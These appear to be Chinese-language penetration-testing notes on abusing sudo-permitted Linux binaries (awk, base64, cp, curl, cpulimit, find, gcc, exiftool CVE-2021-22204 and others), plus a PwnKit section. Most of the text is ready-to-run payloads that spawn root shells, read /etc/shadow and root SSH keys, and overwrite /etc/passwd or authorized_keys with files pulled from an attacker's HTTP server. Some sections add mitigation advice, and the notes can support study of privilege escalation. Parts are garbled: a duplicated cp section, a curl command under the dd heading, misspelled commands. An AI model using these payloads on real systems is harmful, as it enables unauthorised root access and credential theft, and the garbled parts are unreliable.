利用 awk 的 BEGIN 规则和内置的 system() 函数来执行提权 Payload。
Payload:
1 | sudo awk 'BEGIN {system("/bin/bash")}' |
(如果在某些精简系统中没有 bash,可以替换为 /bin/sh)
执行后,awk 会在处理任何文本输入之前,直接执行 system() 里的命令,为你弹出一个 Root 权限的终端提示符。
漏洞原理 (Root Cause)
BEGIN代码块: 在awk的语法中,BEGIN { ... }块内的代码会在读取和处理任何标准输入数据之前被优先执行。这意味着我们不需要给awk提供任何实际的文本文件,它就会执行我们的代码。system()函数特性:awk提供了一个名为system()的内置函数,它的作用是将括号内的字符串传递给系统的命令解释器(通常是/bin/sh)去执行。- 权限继承: 当我们使用
sudo启动awk时,awk进程是以 Root 权限运行的。当这个 Root 权限的awk调用system("/bin/bash")时,新创建的bash子进程完美继承了父进程的 Root 权限,从而完成了越权逃逸。
修复方案与防范
- 安全红线: 绝不在
/etc/sudoers中允许普通用户直接通过sudo执行像awk,sed,tar,find这样具有内部命令执行或参数调用功能的复杂工具。 - 脚本化封装: 如果业务上确实需要普通用户以 Root 权限运行一段特定的
awk文本处理逻辑,应当将这段完整的逻辑写死在一个外部 Shell 脚本中(例如/usr/local/bin/log_parser.sh),将该脚本的权限设置为仅 Root 可写,然后在sudoers中只允许用户sudo执行该特定的脚本文件。
sudo base64
漏洞描述
base64 是 Linux 中用于将二进制或文本数据进行 Base64 编码和解码的基础命令行工具。如果管理员不慎将其加入了 sudo 免密执行名单,攻击者就可以利用它以 Root 身份读取系统中的任意敏感文件(例如 /etc/shadow 或 /root/.ssh/id_rsa 等)。
漏洞利用 (Exploitation)
利用 base64 去读取受限文件并进行编码,然后通过管道符 | 交给当前普通用户权限的 base64 进行解码,从而在终端直接输出文件明文。
Payload:
1 | # 读取并还原 /etc/shadow 文件内容 |
执行后,原本对普通用户绝对不可读的系统密码 Hash 就会被完整打印在屏幕上,供后续离线破解使用。
漏洞原理 (Root Cause)
- 权限继承与文件读取: 当执行
sudo base64 /etc/shadow时,前半段命令以 Root 权限运行,它畅通无阻地打开并读取了/etc/shadow,然后将文件内容转换成了 Base64 字符串输出到标准输出(stdout)。 - 巧妙的还原: 管道符
|后面的base64 --decode是以当前普通用户的权限运行的。它接收了前半段发来的那串已经编码好的无害字符串,并将其解码还原成原本的明文格式。 - 绕过限制: 系统底层的权限控制只拦截了普通用户“读取
/etc/shadow”的动作,但并没有拦截普通用户“接收并解码一串 Base64 文本”的动作,从而实现了数据窃取(Data Exfiltration)。
修复方案与防范
- 坚持最小权限原则: 绝对不要在
/etc/sudoers中赋予任何用于读取、编辑、或转换文件内容的工具(如base64,cat,less,more,head,tail,strings等)直接执行的sudo权限。 - 业务分离: 如果业务场景真的需要普通用户对某个特定的 Root 权限文件进行 Base64 编码,应该编写一个功能被严格限制的 Shell 脚本,脚本中写死只能操作那个特定文件,然后只允许用户
sudo运行该脚本。
sudo cp
这是一个非常危险且破坏性极强的提权点。cp(copy)命令本身非常简单,但当它被赋予了 sudo 权限后,就变成了一把可以随意篡改系统底层的“万能钥匙”。
与之前 base64 只能“读”不同,cp 不仅能“读”,还能“写(覆盖)”。你可以直接将以下内容补充到你的笔记中:
漏洞描述
cp 是 Linux 系统中用于复制文件和目录的基础命令。如果管理员在 /etc/sudoers 中错误地允许普通用户免密执行 sudo cp,攻击者不仅可以将系统中任意高度敏感的文件(如 /etc/shadow, id_rsa)复制出来读取,更致命的是,它可以将恶意伪造的配置文件覆盖到系统关键路径,从而直接劫持系统权限。
漏洞利用 (Exploitation)
这里主要有两种利用思路:任意文件读取 和 任意文件覆盖(直接提权)。
利用方式一:任意文件读取 (Data Exfiltration) 将只有 Root 能看的文件,复制到普通用户有权限访问的目录(如 /tmp),并顺手改掉权限。
1 | # 将密码本复制到 /tmp 目录 |
(注意:更直接的读文件方法是利用 cp 的标准输出特性,见 GTFOBins 高级用法,但覆盖法更通用)
利用方式二:恶意文件覆盖 (Malicious Overwrite) - 最常用且致命 核心思路是伪造一个 /etc/passwd 文件,在其中强行塞入一个拥有 Root 权限(UID=0)的新用户,然后覆盖掉系统的原文件。
1 | # 1. 先把系统正常的 passwd 文件拷贝一份到临时目录作为基础 |
漏洞原理 (Root Cause)
- 无视系统安全边界(DAC 绕过): Linux 依赖于文件权限控制(读、写、执行)来保护系统。
/etc/passwd等关键文件默认只允许 Root 写入。但是,当你执行sudo cp时,cp进程获得了 Root 权限,它在进行复制和覆盖操作时,Linux 内核会对其一路绿灯,完全无视原本的权限拦截。 - 信任机制被滥用: 系统的身份验证机制(如
login或su)是绝对信任/etc/passwd和/etc/shadow文件的内容的。只要攻击者利用cp成功篡改了这些文件的内容,系统就会把攻击者写入的假账号当成真神仙供奉起来。
修复方案与防范
- 绝对的权限红线: 永远不要赋予任何能够进行文件复制、移动或重命名操作的命令(如
cp,mv,dd,rsync)以sudo权限。这些命令相当于给了用户直接修改系统 DNA 的能力。 - 业务场景替代方案: 如果业务场景(比如某个自动化运维系统的低权限账号)确实需要把文件从 A 复制到受保护的 B 目录,必须写一个 Bash 脚本,在脚本中将源路径和目标路径全部写死,然后只允许通过
sudo运行该脚本。- 错误做法:
user ALL=(root) NOPASSWD: /bin/cp - 正确做法: 编写
/usr/local/bin/sync_web_code.sh(内容为cp -r /home/user/code/* /var/www/html/),然后配置user ALL=(root) NOPASSWD: /usr/local/bin/sync_web_code.sh这是一个非常危险且破坏性极强的提权点。cp(copy)命令本身非常简单,但当它被赋予了sudo权限后,就变成了一把可以随意篡改系统底层的“万能钥匙”。
- 错误做法:
与之前 base64 只能“读”不同,cp 不仅能“读”,还能“写(覆盖)”。你可以直接将以下内容补充到你的笔记中:
sudo cpulimit
利用 cpulimit 的命令行参数,指定启动 /bin/sh,并设置一个任意的 CPU 限制值(例如 100%)。
Payload:
1 | sudo cpulimit -l 100 -f -- /bin/sh |
参数解释:
-l 100:限制目标进程最高使用 100% 的 CPU(这里只是个幌子,填多少无所谓)。-f:让程序在前台运行(Foreground),这对于获取交互式 Shell 至关重要。--:这是一个标准的分隔符,告诉cpulimit后面的内容不是你自己的参数了,而是我要你执行的命令。
执行后,你将直接获得一个 Root 权限的终端提示符。
sudo curl
curl 的提权利用主要分为“读”和“写”两个方向。
利用方式一:任意文件读取 (Arbitrary File Read) 利用 curl 内置的 file:// 协议,直接读取本地硬盘上的受保护文件,效果类似于之前的 base64 或 apache2。1
2
3
4
5# 读取并输出 root 用户的密码 Hash
sudo curl file:///etc/shadow
# 读取 root 用户的 SSH 私钥(如果存在)
sudo curl file:///root/.ssh/id_rsa
利用方式二:恶意文件覆盖 (Malicious Overwrite) - 破坏性极强 这和 sudo cp 的思路类似,但不需要目标机器上有现成的恶意文件。攻击者可以在自己的攻击机(比如你的 Kali)上快速起一个 HTTP 服务,托管一个伪造的 /etc/passwd 文件或 SSH 公钥,然后让目标机器主动下载并覆盖系统原文件。
1 | # 1. 攻击者在本地生成一对 SSH 密钥,并将公钥 (id_rsa.pub) 挂载到简易 HTTP 服务上 (如 python3 -m http.server 80) |
(同理,也可以像 cp 那样去覆盖 /etc/passwd 或 /etc/sudoers)
sudo date
敏感信息读取1
date -f /etc/shadow
sudo dd
利用方式:恶意文件覆盖1
sudo curl http://<攻击者IP>/id_rsa.pub -o /root/.ssh/authorized_keys
sudo dstat
dstat会导入插件使用,其实我们可以注入恶意插件,比如1
2
3echo "import os;os.execv("/bin/bash",["bash"])>dstat_eyi.py
cp dstat_eyi.py /usr/share/dstat
sudo dstat --eyi
sudo ed
这是一个linux编辑器,进入后输入1
!/bin/bash
sudo env
1 | sudo env /bin/bash |
sudo exiftool
CVE-2021-22204
版本要求:7.44-11.23
1 | echo "(metadata "\c${systemctl('/bin/bash')};")">payload |
使用bzz压缩
1 | bzz payload payload.bzz |
使用djvumake生成利用文件1
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
提权1
sudo eciftool exploit.djvu
sudo expect
自动化交互工具1
sudo expect -c "spawn /bin/bash;interact"
sudo fail2ban
查找fail2ban的配置文件夹1
find /etc -wirteable -type d 2>dev/null
到达配置文件夹后需要更改action.d文件夹的配置文件iptables-multiport.conf1
2mv iptables-multiport.conf iptables-multiport.conf.bak
cp iptables-multiport.conf.bak iptables-multiport.conf
更改actionban后就可以了
sudo find
1 | sudo find . -exec /bin/bash \; -quit |
sudo flock
管理文件锁定的程序1
sudo flock -u / /bin/bash
sudo ftp
启动交互式命令后输入1
!/bin/bash
sudo gcc
1 | sudo gcc -wrapper /bin/bash,-s . |
sudo gdb
Polkit
PolicyKit( polkit )是 Linux 操作系统上的一个授权服务,允许用户软件和系统组件在用户软件获得授权的情况下相互通信。为了检查用户软件是否被授权执行此操作,会询问 polkit 。可以设置每个用户和应用程序默认如何授予权限。例如,对于每个用户,可以设置操作是否应被普遍允许或禁止,或者是否需要以管理员身份或作为具有一次性、进程限制、会话限制或无限有效期的独立用户进行授权。对于单个用户和组,可以单独分配授权。
Polkit 与两组文件协同工作。
- actions/policies (
/usr/share/polkit-1/actions) - rules (
/usr/share/polkit-1/rules.d)
Polkit 还具有 local authority 规则,可用于为用户和组设置或移除额外权限。自定义规则可以放置在 /etc/polkit-1/localauthority/50-local.d 目录中,文件扩展名为 .pkla 。
PolKit 还附带三个附加程序:
pkexec- 以另一个用户或以 root 权限运行程序pkaction- 可用于显示操作pkcheck- 可用于检查进程是否被授权执行特定操作
对我们来说,在这种情况下,最有趣的工具是 pkexec ,因为它执行与 sudo 相同的任务,并且可以以另一个用户或 root 的权限运行程序。1
pkexec -u <user> <command>
CVE-2021-4034
在 pkexec 工具中,发现了一个内存损坏漏洞,标识符为 CVE-2021-4034,也被称为 Pwnkit,并会导致权限提升。这个漏洞也被隐藏了十多年,没有人能精确地说出它是什么时候被发现和利用的。最终,在 2021 年 11 月,这个漏洞被公开,并在两个月后被修复。
1 | git clone https://github.com/arthepsy/CVE-2021-4034.git |
